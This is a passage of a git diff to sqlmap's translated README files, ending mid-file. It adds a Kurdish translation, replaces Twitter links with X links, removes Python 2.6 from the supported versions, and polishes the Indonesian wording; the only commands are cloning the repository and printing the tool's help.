+
+بۆ بینینی [کۆمەڵێک سکرین شات و سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت.
+
+
+دامەزراندن
+----
+
+بۆ دابەزاندنی نوێترین وەشانی tarball، کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت.
+
+باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap):
+
+ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https://www.python.org/download/) وەشانی **2.6**، **2.7** و **3.x** لەسەر هەر پلاتفۆرمێک.
+
+چۆنیەتی بەکارهێنان
+----
+
+بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان و سویچەکان ئەمانە بەکاربهێنە:
+
+ python sqlmap.py -h
+
+بۆ بەدەستهێنانی لیستی هەموو بژاردە و سویچەکان ئەمە بەکار بێنا:
+
+ python sqlmap.py -hh
+
+دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601).
+بۆ بەدەستهێنانی تێڕوانینێکی گشتی لە تواناکانی sqlmap، لیستی تایبەتمەندییە پشتگیریکراوەکان، و وەسفکردنی هەموو هەڵبژاردن و سویچەکان، لەگەڵ نموونەکان، ئامۆژگاریت دەکرێت کە ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+بەستەرەکان
+----
+
+* ماڵپەڕی سەرەکی: https://sqlmap.org
+* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* فیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues
+* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki
+* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
+* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
+
+وەرگێڕانەکان
diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md
index b279c87abbf..65d96220ea5 100644
--- a/doc/translations/README-de-DE.md
+++ b/doc/translations/README-de-DE.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
@@ -44,6 +44,6 @@ Links
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md
index a78dee2d41d..f85f4862fca 100644
--- a/doc/translations/README-es-MX.md
+++ b/doc/translations/README-es-MX.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
+sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma.
Uso
---
@@ -44,6 +44,6 @@ Enlaces
* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues
* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md
index baff855a93f..eb84e410939 100644
--- a/doc/translations/README-fa-IR.md
+++ b/doc/translations/README-fa-IR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
@@ -79,6 +79,6 @@
* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* توییتر: [@sqlmap](https://twitter.com/sqlmap)
+* توییتر: [@sqlmap](https://x.com/sqlmap)
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
index c9eb5967f5f..4d867898b97 100644
--- a/doc/translations/README-fr-FR.md
+++ b/doc/translations/README-fr-FR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](https://www.python.org/download/)
+sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
Utilisation
----
@@ -44,6 +44,6 @@ Liens
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index b33b622b5c1..0d5e0446570 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
@@ -20,7 +20,7 @@
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
+Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
Χρήση
----
@@ -45,6 +45,6 @@
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-hr-HR.md b/doc/translations/README-hr-HR.md
index c80e0ce78b8..45d5eaad1f9 100644
--- a/doc/translations/README-hr-HR.md
+++ b/doc/translations/README-hr-HR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
+sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
Korištenje
----
@@ -45,6 +45,6 @@ Poveznice
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-id-ID.md b/doc/translations/README-id-ID.md
index 02b7f378984..f82bf71d2ec 100644
--- a/doc/translations/README-id-ID.md
+++ b/doc/translations/README-id-ID.md
@@ -1,50 +1,53 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
-sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur handal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
+sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
+
+sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
Tangkapan Layar
----

-Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
+Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
Instalasi
----
Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
-Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
+Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap):
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
+sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
Penggunaan
----
-Untuk mendapatkan daftar opsi dasar gunakan:
+Untuk mendapatkan daftar opsi dasar gunakan perintah:
python sqlmap.py -h
-Untuk mendapatkan daftar opsi lanjut gunakan:
+Untuk mendapatkan daftar opsi lanjutan gunakan perintah:
python sqlmap.py -hh
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
-Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+
+Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Tautan
----
* Situs: https://sqlmap.org
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
-* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
-* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* X: [@sqlmap](https://x.com/sqlmap)
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-in-HI.md b/doc/translations/README-in-HI.md
index 623f1c7977e..b311f81afe3 100644
--- a/doc/translations/README-in-HI.md
+++ b/doc/translations/README-in-HI.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
@@ -20,7 +20,7 @@ sqlmap एक ओपन सोर्स प्रवेश परीक्षण
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
+sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
उपयोग
----
@@ -44,7 +44,7 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**,
* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues
* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* ट्विटर: [@sqlmap](https://twitter.com/sqlmap)
+* ट्विटर: [@sqlmap](https://x.com/sqlmap)
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
*
diff --git a/doc/translations/README-it-IT.md b/doc/translations/README-it-IT.md
index 1ac62cf562f..6b074141b41 100644
--- a/doc/translations/README-it-IT.md
+++ b/doc/translations/README-it-IT.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
+sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
Utilizzo
----
@@ -45,6 +45,6 @@ Link
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ja-JP.md b/doc/translations/README-ja-JP.md
index 739a8efc779..d43e3f563e1 100644
--- a/doc/translations/README-ja-JP.md
+++ b/doc/translations/README-ja-JP.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
使用方法
----
@@ -46,6 +46,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ka-GE.md b/doc/translations/README-ka-GE.md
index 83c2fc6e78f..12b59b31ea4 100644
--- a/doc/translations/README-ka-GE.md
+++ b/doc/translations/README-ka-GE.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის.
@@ -20,7 +20,7 @@ sqlmap არის შეღწევადობის ტესტირე
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან.
+sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან.
გამოყენება
----
@@ -44,6 +44,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
* პრობლემებისათვის თვალყურის დევნება: https://github.com/sqlmapproject/sqlmap/issues
* მომხმარებლის სახელმძღვანელო: https://github.com/sqlmapproject/sqlmap/wiki
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* X: [@sqlmap](https://x.com/sqlmap)
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
diff --git a/doc/translations/README-ko-KR.md b/doc/translations/README-ko-KR.md
index 229c112f623..2542209833e 100644
--- a/doc/translations/README-ko-KR.md
+++ b/doc/translations/README-ko-KR.md
@@ -1,6 +1,6 @@
# sqlmap 
-[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
+[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
@@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
+sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
사용법
----
@@ -45,6 +45,6 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
* 사용자 매뉴얼: https://github.com/sqlmapproject/sqlmap/wiki
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
-* 트위터: [@sqlmap](https://twitter.com/sqlmap)
+* 트위터: [@sqlmap](https://x.com/sqlmap)
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
